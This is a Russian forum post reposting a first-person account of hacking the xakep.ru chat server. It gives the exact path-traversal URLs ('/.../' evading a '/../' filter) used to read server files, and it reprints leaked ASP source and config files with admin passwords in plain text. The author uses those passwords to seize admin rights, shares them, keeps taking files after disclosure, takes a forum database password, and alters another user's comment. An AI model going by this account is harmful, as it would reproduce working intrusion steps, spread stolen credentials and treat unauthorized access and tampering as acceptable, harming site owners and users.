Хех давно это было года два назад:) Вот нарыл у себя статью знакомого.
Nik8 написал(а):Как был взломан xakep.ru
Сидя обычным вечером, в обычной обстановке в чате хакера, с флудом, матом, клонами, я размышлял над проблемой отсуствием модераторов.
Тут я и решил немного "пошупать" чат.
У меня давно сложилось мнения об работе чата, Я давно догадывался что это вовсе не скрипты, а демон, который написан на delphi(ошибки иногда знакомые вылетали), всвязи с этим меня заинтересовала одна из сылок в чате http://chat.xakep.ru:8080/files/xakep/main.css, значит разработчик решил организовать в демоне еше некое подобие веб сервера)
Начал прошупывать следушие варианты
http://chat.xakep.ru:8080/files/xakep/../xakep/main.css
превратилось в
http://chat.xakep.ru:8080/files/xakep/main.css
т.е символы /../ вырезались.
Теперь попробовал следуший вариант
http://chat.xakep.ru:8080/files/xakep/.../xakep/main.css
Сработало! /.../ остались на месте!
Так как я не мог производить обзор директорий, пришлось наугад подбирать пути, тут мне повезло.
http://chat.xakep.ru:8080/files/.../.../xakep/default.asp
Передо мною предстал исходник default.asp сайта xakep.ru :)
<%
' Сделал: Шаврук Константин
' Проверил: Солякин Иван
%>
<!--#include virtual="code/common/option.asp"-->
<!--#include virtual="local/const.asp"-->
<!--#include virtual="local/proc.asp"-->
<!--#include virtual="local/post.asp"-->
<!--#include virtual="/code/common/magazine/magazines.asp"-->
<!--#include virtual="local/magazine/public.asp"-->
<%SetMagazinesPref%>
<%'call HTMLReplicaStatStart(coHTMLReplicaHits1, coHTMLReplicaTTL1)
' call HTMLReplicaStat(coHTMLReplicaSiteID, coHTMLReplicaHits1, coHTMLReplicaTTL1)%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<!--#include virtual="local/include/meta.asp"-->
<style type="text/css">
<!--
-->
</style>
<title>Xakep Online -> Home</title>
</head>
<body <%=BackColor%>>
<span style="display:none">
<a href="http://www.xakep.ru/articles/magazine/1999.asp">Все выпуски журнал Хакер за 1999 год</a>
<a href="http://www.xakep.ru/articles/magazine/2000.asp">Все выпуски журнал Хакер за 2000 год</a>
<a href="http://www.xakep.ru/articles/magazine/2001.asp">Все выпуски журнал Хакер за 2001 год</a>
<a href="http://www.xakep.ru/articles/magazine/2002.asp">Все выпуски журнал Хакер за 2002 год</a>
<a href="http://www.xakep.ru/articles/magazine/2003.asp">Все выпуски журнал Хакер за 2003 год</a>
<a href="http://www.xakep.ru/articles/magazine/2004.asp">Все выпуски журнал Хакер за 2004 год</a>
<a href="http://www.xakep.ru/articles/magazine/2005.asp">Все выпуски журнал Хакер за 2005 год</a>
<a href="http://www.xakep.ru/articles/mp3/default.asp">MP3 - музыка в МР3 и обзоры музыкальных новинок</a>
<a href="http://www.xakep.ru/articles/defence/default1.asp">Все статьи</a>
</span>
<!--#include virtual="local/include/all_start.asp"-->
<table width="100%" border="0" cellspacing="0" cellpadding="0">
...
теперь попытался прочитать другой файл, а имено первый попавшийся постинг.
http://chat.xakep.ru:8080/files/.../.../xakep/post/27602/default.asp
<%Session("se-postart-filedir") = "27602"%>
<%Session("se-postart-title") = "Offline SMS Bomber №2"%>
<%Session("se-postart-author") = "DgtlScrm"%>
<%Session("se-postart-email") = "dgtlscrm at real.xakep.ru.NO.SPAM"%>
<%Session("se-postart-theme") = "zHOMEz, zSOFTz, zHOWz, zINFOz"%>
<%Session("se-post-postdirs") = ""%> <%Session("se-postart-www") = ""%>
<%Session("se-postart-thread") = ""%>
<%Session("se-postart-create_date") = "03.08.2005 15:14:23"%>
<%Session("se-postart-code_cat") = ""%> <%Session("se-postart-owner") =
"pavluchenko.ilya"%> <%=PostHeader(Session("se-postart-theme"))%>
Offline SMS Bomber №2
....текст статьи приводить не буду..
Keywords: zPOSTz zHOMEz, zSOFTz, zHOWz, zINFOz z27602z
Для Авторов: edit
<<%=WebDir%>local/redirect.asp?url=local/admin/post/default.asp?filedir=27602>
delete
<<%=WebDir%>local/redirect.asp?url=local/admin/post/delete.asp?filedir=27602>
Автор: DgtlScrm <mailto:dgtlscrm at real.xakep.ru.NO.SPAM>
Дата: 03.08.2005 15:14:23©
Сказать честно меня больше интересовали пароли от чата, так как у меня были догадки что чат это всего лишь сервис для WinNT.
Я начал подбирать другие варианты..
http://chat.xakep.ru:8080/files/.../daemon.exe - облом
http://chat.xakep.ru:8080/files/.../chat.exe - облом
http://chat.xakep.ru:8080/files/.../service.exe - облом
http://chat.xakep.ru:8080/files/.../server.exe - вот оно! Еше раз повезло!
Скачав файл server.exe, Я принялся искать в нем строку которая бы помогла определить директорию, или файл в котором хранятся настройки чата.
Таким путем я выяснил путь до главного конфига чата "/cfg/system.cfg"
Прочитав его по адресу http://chat.xakep.ru:8080/files/.../cfg/system.cfg, я все больше и больше чуствовал себя ближе к цели, пароли от чата хакера.
Вот содержимое файла system.cfg
# этот конфиг отностится только к системе чатов в целом. # настройки
отдельных чатов находятся в chats.cfg # IP, порт, на котором будет
работать чат-сервер IP=194.67.128.2 # порт, на котором будет работать
чат-сервер Port=8080 # Сколько дней хранить логи (системные) LogDays=3 #
время жизни пользователя, сек UserTTL=40 # макс допустимое число
сообщений на страницу без перезагрузки MessagesPerPage=200 # макс. длит
загрузки сообщений без обновления PageReloadTime=600 # сколько последних
сообщений заггружать на новую страницу PreloadMessages=30 # на сколько
секунд кикают KickTimeout=3600 # этот пароль позволяет удаленно
управлять сервером # команды: #
/admin?chat=gameland&password=kazantipoz&command=reload - перезагрузить
шаблоны AdminPassword=kazantipoz # IP пользователей в чате должен быть
уникальным? (yes/no) UniqueIP=yes # Флуд, если за FloodWatchTime секунд
было более FloodMessages сообщений # пользователь блокируется как флудер
на FloodBlockTime секунд FloodWatchTime=15 FloodMessages=5
FloodBlockTime=60 # флуд логин/логаут, если за FloodLoginsWatchTime
секунд было более FloodLogins логинов # пользователь блокируется как
флудер на KickTimeout секунд FloodLoginsWatchTime=20 FloodLogins=2 # на
сколько секунд банят IP командой /ban Поддерживаются символы ? и *
BanTimeout=259200 # Уровень лога (0..3) # 0 - запуск/остановка,
админские команды # 1 - +GET/POST и url # 2 - +краткий процесс обработки
URL # 3 - +отладочная информация, используемые функциях LogLevel=2
так..фига, нету тут никаких заветных паролей...
Идем дальше... читаем файл
http://chat.xakep.ru:8080/files/.../cfg/chats.cfg (Хранит параметры чатов).
ВОТ ОНО!
Абсолютно все пароли чата передомною!
[gameland] TemplatesDir=d:\morazm\www\chat\templates\gameland\
LogsDir=d:\morazm\www\chat\logs\gameland\ AdminPassword=/573572392012
WizardPassword=/778354832227 LogDays=30 NickLength=20 MessageLength=250
[xakep] TemplatesDir=d:\morazm\www\chat\templates\xakep\
LogsDir=d:\morazm\www\chat\logs\xakep\ AdminPassword=/9482940491
WizardPassword=/48402841938 LogDays=30 NickLength=20 MessageLength=250
[xyligan] TemplatesDir=d:\morazm\www\chat\templates\xyligan\
LogsDir=d:\morazm\www\chat\logs\xyligan\ AdminPassword=/482908948929
WizardPassword=/492004820239 LogDays=30 NickLength=20 MessageLength=250
Нетерпеливо, с некоторой опаской ввожу "/9482940491" в чате хакера, и ... появляется заветная надпись "Вы получили права админа чата".
Началось самовольное назначение модераторов в чате(кроме чата gameland, их вообще не было!), я дал пароли довереным людям в чате(Ники упоминать не буду), с этого момента в чате стоял железный порядок..
Дефейсить xakep.ru я не хотел, потому
практически тут же оставил сообщение на форуме forum.xakep.ru, об найденой серьезной уязвимости.
И что? Практически игнор, со стороны Администрации)
Тогда пришлось сообщить в Администрацию gameland.ru, через одного человека.
Результат меня поразил, в чате начали появлятся админы(Sem, Ups) и писать комманды...
13:25:31 [213.247.142.2] ups: /end
Это просто поразило, я вспомнил что тому человеку я сказал что нашел новую админскую комманду /end, но забыл сказать что она делает, а именно завершает админскую сессию в чате))
Еше большую улыбку вызвало 14:18:00 [62.152.84.67] asd: ****/end
Непонятно почему они решили что баг иммено в команде /end непонятно))
После этого админы просто сменили пароли на чат.
Неважно баг продолжает работать, я начинаю от безделья понемногу сливать некоторые файлы.
Заодно также слил конфиг форума от forum.xakep.ru с паролем от базы.
Позже ко мне в асю все таки постучал некий Администратор из gameland.ru
Ему я расказал про баг, поблагодарив меня за сотрудничество, мы распрошались.
Вечером чат уже прекратил свое сушествование, при заходе на chat.xakep.ru:8080 чат перестал дружествено откликался на запросы, сервис остановили, многострадальный чат умер...(тут я немного пожалел, что вообще раскрыл баг).
Есть достоверная информация что закрытие чата связано с утерей исходников, и как следствие невозможность закрытия бага...
Идем дальше...
Спустя несколько месяцев, убирая песпорядочную свалку на винте, я обнаружил ранее слитый файл
opinion_new.asp(отправка комментариев).
При внимательном расмотрении, выяснил принцип его работы.
Запрос на просмотр\редактирование\удаление комментария идет к другому http://rateit.glc.ru/opinion.asp.
Пройдя по сылке http://rateit.glc.ru/opinion.asp?opinion_code=ид комментария, можно было увидеть следушию картину:
<?xml version="1.0" encoding="windows-1251" ?>
<rate code="RRT161892">
<opinion code="ORT114335" adddate="13.12.2005 12:15:39">
<autor name="Pupkin-Zade" passwd="xxxx" email="xa@real.xakep.ru" ip="195.96.190.242" />
Врете вы все, я сам вам лично отвечал 24 Ноября. Разбирайтесь со своей почтой...
</opinion>
</rate>
Решив немного пошутить над пупкиным, я немного подредактировал сообшение:
"Врете вы все, я сам вам лично отвечал 24 Ноября. Разбирайтесь со своей почтой... И вообше идите на ***..."
Позже пришел грозный пупкин, заявил что это не он, и вернул сообщение к исходному виду.
В ответ я извинился.
Думаю выводы из этой статьи понятны, при изобретении своего веб-сервера, надо быть предельно осторожным, и еше раз тестить все, понимая чем грозит подобная брешь в сервисе который запушен с правами LOCALSYSTEM.